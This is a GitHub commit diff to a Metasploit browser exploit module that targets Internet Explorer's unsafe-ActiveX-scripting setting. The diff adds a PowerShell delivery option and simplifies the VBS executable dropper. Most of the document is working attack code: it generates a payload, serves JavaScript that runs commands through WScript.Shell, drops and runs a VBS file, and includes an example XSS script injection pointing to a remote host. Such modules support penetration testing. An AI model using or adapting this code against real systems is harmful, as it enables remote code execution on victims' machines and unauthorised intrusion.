Skip to content

Commit 0736677

Browse files
wchen-r7wchen-r7
committed
Land rapid7#2299 - Add powershell support & removes ADODB.Stream requirement
2 parents c4aa557 + a12f509 commit 0736677

File tree

1 file changed

+61
-81
lines changed

1 file changed

+61
-81
lines changed

‎modules/exploits/windows/browser/ie_unsafe_scripting.rb

Lines changed: 61 additions & 81 deletions
Original file line numberDiff line numberDiff line change
@@ -6,12 +6,15 @@
66
##
77

88
require 'msf/core'
9+
require 'msf/util/exe'
10+
require 'msf/core/exploit/powershell'
911

1012
class Metasploit3 < Msf::Exploit::Remote
1113
Rank = ExcellentRanking
1214

1315
include Msf::Exploit::Remote::HttpServer::HTML
1416
include Msf::Exploit::EXE
17+
include Msf::Exploit::Powershell
1518

1619
def initialize(info = {})
1720
super(update_info(info,
@@ -21,10 +24,7 @@ def initialize(info = {})
2124
marked safe for scripting" setting within Internet Explorer. When this option is set,
2225
IE allows access to the WScript.Shell ActiveX control, which allows javascript to
2326
interact with the file system and run commands. This security flaw is not uncommon
24-
in corporate environments for the 'Intranet' or 'Trusted Site' zones. In order to
25-
save binary data to the file system, ADODB.Stream access is required, which in IE7
26-
will trigger a cross domain access violation. As such, we write the code to a .vbs
27-
file and execute it from there, where no such restrictions exist.
27+
in corporate environments for the 'Intranet' or 'Trusted Site' zones.
2828
2929
When set via domain policy, the most common registry entry to modify is HKLM\
3030
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201,
@@ -35,96 +35,73 @@ def initialize(info = {})
3535
via a direct GET http://msf-server/ or as a javascript include, such as in:
3636
http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js>
3737
</script>.
38+
39+
IE Tabs, WScript and subsequent Powershell prompts all run as x86 even when run from
40+
an x64 iexplore.exe.
3841
},
42+
3943
'License' => MSF_LICENSE,
4044
'Author' =>
4145
[
42-
'natron'
46+
'natron',
47+
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # PSH and remove ADODB.Stream
4348
],
44-
'References' =>
49+
'References' =>
4550
[
4651
[ 'URL', 'http://support.microsoft.com/kb/182569' ],
4752
[ 'URL', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ],
53+
[ 'URL', 'http://support.microsoft.com/kb/870669']
4854
],
49-
'DisclosureDate' => 'Sep 20 2010',
50-
'Payload' =>
51-
{
52-
'Space' => 2048,
53-
'StackAdjustment' => -3500,
54-
},
55-
'Platform' => 'win',
56-
'Targets' =>
55+
'DisclosureDate' => 'Sep 20 2010',
56+
'Platform' => 'win',
57+
'Targets' =>
58+
[
59+
[ 'Windows x86/x64', { 'Arch' => ARCH_X86 } ]
60+
],
61+
'DefaultOptions' =>
62+
{
63+
'HTTP::compression' => 'gzip'
64+
},
65+
'DefaultTarget' => 0))
66+
67+
register_options(
5768
[
58-
[ 'Automatic', { } ],
59-
],
60-
'DefaultOptions' =>
61-
{
62-
'HTTP::compression' => 'gzip'
63-
},
64-
'DefaultTarget' => 0))
69+
OptEnum.new('TECHNIQUE', [true, 'Delivery technique (VBS Exe Drop or PSH CMD)', 'VBS', ['VBS','Powershell']]),
70+
], self.class
71+
)
6572
end
6673

6774
def on_request_uri(cli, request)
6875

69-
#print_status("Starting...");
7076
# Build out the HTML response page
71-
var_shellobj = rand_text_alpha(rand(5)+5);
72-
var_fsobj = rand_text_alpha(rand(5)+5);
73-
var_fsobj_file = rand_text_alpha(rand(5)+5);
74-
var_vbsname = rand_text_alpha(rand(5)+5);
75-
var_writedir = rand_text_alpha(rand(5)+5);
76-
var_exename = rand_text_alpha(rand(5)+5);
77-
var_origLoc = rand_text_alpha(rand(5)+5);
78-
var_byteArray = rand_text_alpha(rand(5)+5);
79-
var_stream = rand_text_alpha(rand(5)+5);
80-
var_writestream = rand_text_alpha(rand(5)+5);
81-
var_strmConv = rand_text_alpha(rand(5)+5);
82-
83-
p = regenerate_payload(cli);
84-
print_status("Request received for #{request.uri}");
85-
exe = generate_payload_exe({ :code => p.encoded })
86-
#print_status("Building vbs file...");
87-
# Build the content that will end up in the .vbs file
88-
vbs_content = Rex::Text.to_hex(%Q|Dim #{var_origLoc}, s, #{var_byteArray}
89-
#{var_origLoc} = SetLocale(1033)
90-
|)
91-
92-
print_status("Encoding payload into vbs/javascript/html...");
93-
# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
94-
# for conversion with ADODB.Stream
95-
96-
vbs_ary = []
97-
# The output of this loop needs to be as small as possible since it
98-
# gets repeated for every byte of the executable, ballooning it by a
99-
# factor of about 80k (the current size of the exe template). In its
100-
# current form, it's down to about 4MB on the wire
101-
exe.each_byte do |b|
102-
vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
77+
var_shellobj = rand_text_alpha(rand(5)+5)
78+
79+
p = regenerate_payload(cli)
80+
if datastore['TECHNIQUE'] == 'VBS'
81+
js_content = vbs_technique(var_shellobj, p)
82+
else
83+
js_content = psh_technique(var_shellobj, p)
10384
end
104-
vbs_content << vbs_ary.join("")
10585

106-
# Continue with the rest of the vbs file;
107-
# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
108-
# Then use ADODB.Stream again to write the binary to file.
109-
#print_status("Finishing vbs...");
110-
vbs_content << Rex::Text.to_hex(%Q|
111-
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
112-
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{var_exename}.exe"
86+
print_status("Request received for #{request.uri}")
87+
print_status("Sending exploit html/javascript");
11388

114-
Set #{var_strmConv} = CreateObject("ADODB.Stream")
89+
# Transmit the response to the client
90+
send_response(cli, js_content, { 'Content-Type' => 'text/html' })
11591

116-
#{var_strmConv}.Type = 2
117-
#{var_strmConv}.Charset = "x-ansi"
118-
#{var_strmConv}.Open
119-
#{var_strmConv}.WriteText s, 0
120-
#{var_strmConv}.Position = 0
121-
#{var_strmConv}.Type = 1
122-
#{var_strmConv}.SaveToFile #{var_writedir}, 2
92+
# Handle the payload
93+
handler(cli)
94+
end
12395

124-
SetLocale(#{var_origLoc})|)
96+
def vbs_technique(var_shellobj, p)
97+
var_fsobj = rand_text_alpha(rand(5)+5)
98+
var_fsobj_file = rand_text_alpha(rand(5)+5)
99+
var_vbsname = rand_text_alpha(rand(5)+5)
100+
var_writedir = rand_text_alpha(rand(5)+5)
125101

126-
# Encode the vbs_content
127-
#print_status("Hex encoded vbs_content: #{vbs_content}");
102+
exe = generate_payload_exe({ :code => p.encoded })
103+
vbs = Msf::Util::EXE.to_exe_vbs(exe)
104+
vbs_content = Rex::Text.to_hex(vbs)
128105

129106
# Build the javascript that will be served
130107
js_content = %Q|
@@ -138,18 +115,21 @@ def on_request_uri(cli, request)
138115
#{var_fsobj_file}.Close();
139116
140117
#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
141-
#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{var_exename}.exe", 0, false);
142118
#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
143119
//</script></html>
144120
|
121+
return js_content
122+
end
145123

146-
print_status("Sending exploit html/javascript");
147-
print_status("Exe will be #{var_exename}.exe and must be manually removed from the %TEMP% directory on the target.");
148-
149-
# Transmit the response to the client
150-
send_response(cli, js_content, { 'Content-Type' => 'text/html' })
124+
def psh_technique(var_shellobj, p)
125+
cmd = Rex::Text.to_hex(cmd_psh_payload(p.encoded))
126+
js_content = %Q|
127+
//<html><head></head><body><script>
128+
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
129+
#{var_shellobj}.run(unescape("#{cmd}"), 1, true);
130+
//</script></html>
131+
|
151132

152-
# Handle the payload
153-
handler(cli)
133+
return js_content
154134
end
155135
end

0 commit comments

Comments
 (0)